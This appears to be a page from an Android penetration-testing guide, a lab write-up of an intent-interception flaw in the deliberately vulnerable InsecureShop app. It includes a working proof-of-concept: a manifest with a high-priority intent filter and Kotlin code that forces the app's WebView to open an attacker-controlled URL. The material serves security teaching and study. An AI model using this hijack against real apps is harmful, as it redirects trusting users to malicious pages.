πŸ’₯
Android Penetration Testing
WEBSITEGITHUBLINKDININSTAGRAM
  • πŸ•΅οΈβ€β™‚οΈOWASP Mobile Top 10
    • OWASP Mobile Top 10 2014
    • OWASP Mobile Top 10 2016
    • OWASP Mobile Top 10 2023
      • Insecure Authentication/Authorization
      • Insecure Communication
      • Inadequate Supply Chain Security
      • Inadequate Privacy Controls
      • Insufficient Input/Output Validation
      • Security Misconfiguration
      • Insufficient Cryptography
      • Insecure Data Storage
      • Insufficient Binary Protections
  • "Let's Dive into the Theory"
  • 😍Theory of Android Penetration Testing
    • πŸ‘‘Basic - Advance
    • πŸ’₯Professional - Expert
    • 🟧Types of Mobile Applications
    • 🟣Android Architecture
    • 🟦Android Show
    • πŸš€Secrets of Android App Creation
    • ♦️Android's Data Treasure Chests
    • πŸ›‘Mysterious .apk File:
    • 🏹Android Pentesting with Cutting-Edge Tools
    • ⬛Android File System
  • "Let's Dive into the Practical"
  • πŸ˜‡Vulnerable Android Application with Practical.
    • πŸ˜‰InsecureShop
      • 😁Vulnerability #1: Insecure Logging
      • πŸ˜‚Vulnerability #2: Hardcoded Credentials
      • πŸ˜†Vulnerability #3: Insecure Data Storage
      • 🀣Vulnerability #4: Lack of SSL Certificate Validation
      • 😍Vulnerability #5: Insufficient URL Validation
      • πŸ˜„Vulnerability #6: Weak Host Validation
      • 😘Vulnerability #7: AWS Cognito Misconfiguration
      • πŸ˜ƒVulnerability #8: Insecure Broadcast Receiver
      • πŸ˜›Vulnerability #9: Use of Implicit intent to send a broadcast with sensitive data
      • 😎Vulnerability #10: Using Components with Known Vulnerabilities
      • 😜Vulnerability #11: Intent Redirection (Access to Protected Components)
      • πŸ˜‚Vulnerability #12: Insecure Webview Properties Enabled
      • πŸ˜†Vulnerability #13: Intercepting Implicit intent to load arbitrary URL
      • πŸ™ƒVulnerability #14: Insecure Content Provider
      • πŸ₯°Reading Material
  • "Let's Dive into the Interview Questions"
  • 😎Important Interview Questions for Android Application Penetration Testing.
    • πŸ₯‡Part - 1
    • πŸ₯ˆPart - 2
    • πŸ₯‰Part - 3
    • πŸ…Part - 4
    • πŸŽ–οΈPart - 5
  • 😘Notes
    • Tools to use
    • Important Reports from Hackerone
Powered by GitBook
On this page
  1. Vulnerable Android Application with Practical.
  2. InsecureShop

Vulnerability #13: Intercepting Implicit intent to load arbitrary URL

PreviousVulnerability #12: Insecure Webview Properties EnabledNextVulnerability #14: Insecure Content Provider

Last updated 1 year ago

For this vulnerability, let’s focus on the activity and its related parts. Checking the source for the mentioned activity reveals that it registers a broadcast receiver which listens for the com.insecureshop.action.PRODUCT_DETAIL intent:

When it receives a corresponding intent, the ProductDetailBroadcast receiver starts an activity to open a web page using an implicit intent:

So, the workflow here is: user clicks on more info regarding a product -> launches a broadcast with the implicit PRODUCT_DETAIL broadcast -> receiver from ProductListing activity receives the intent -> ProductDetailBroadcast starts an activity using implicit intent.

The vulnerability here is that we can intercept the implicit intent in order to hijack the app’s flow and display our own attacker page. This is a problem because when users click on the more information button, they are redirected to a possibly malicious page and they might trust this page since it was opened by the trusted insecureshop app.

AndroidManifest.xml

<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
[...]        
<activity
    android:name=".MainActivity"
    android:exported="true">
    <intent-filter android:priority="1000">
        <action android:name="com.insecureshop.action.WEBVIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
    </intent-filter>
</activity>

MainActivity.kt

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        // if we intercept the com.insecureshop.action.WEBVIEW intent from the vulnerable app,
        // we can redirect the control flow to open up an attacker-controlled page
        val hijack = Intent("com.insecureshop.action.WEBVIEW")
        hijack.putExtra("url", "https://blackbeard666.github.io")
        hijack.setClassName("com.insecureshop", "com.insecureshop.WebView2Activity")
        startActivity(hijack)
    }
}

For this POC, we focused on intercepting the implicit activity start since we already have demonstrated intercepting implicit broadcast on the previous parts. As you can see, we have opened an attacker url in the context of the vulnerable application’s webview.

If we check the class, we see that the PRODUCT_DETAIL intent is broadcasted whenever we click the more information option:

πŸ˜‡
πŸ˜‰
πŸ˜†
ProductAdapter
ProductList